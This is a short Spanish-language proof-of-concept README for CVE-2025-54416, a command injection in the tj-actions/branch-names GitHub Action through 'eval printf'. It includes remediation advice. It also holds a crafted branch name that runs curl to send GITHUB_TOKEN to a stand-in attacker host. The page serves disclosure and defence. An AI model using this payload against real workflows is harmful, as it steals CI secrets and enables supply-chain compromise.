
PoC para CVE-2025-54416 inyección de comandos en tj-actions/branch-names
Este repositorio demuestra CVE-2025-54416, una vulnerabilidad crítica de inyección de comandos en tj-actions/branch-names que afecta a más de 5,000 repositorios públicos.
La GitHub Action tj-actions/branch-names (versiones <= 8.2.1) utiliza un inseguro eval printf "%s" que reintroduce riesgos de inyección de comandos después de una sanitización adecuada.
# Patrón de código vulnerable en tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] para extraer el nombre de la ramaNombre de rama: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
Cuando el flujo de trabajo se ejecuta:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Salida real: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# El $(...) es evaluado por el shell, exfiltrando GITHUB_TOKEN
Actualice a tj-actions/branch-names@v9 o posterior, que reemplaza eval printf "%s" por llamadas seguras a printf.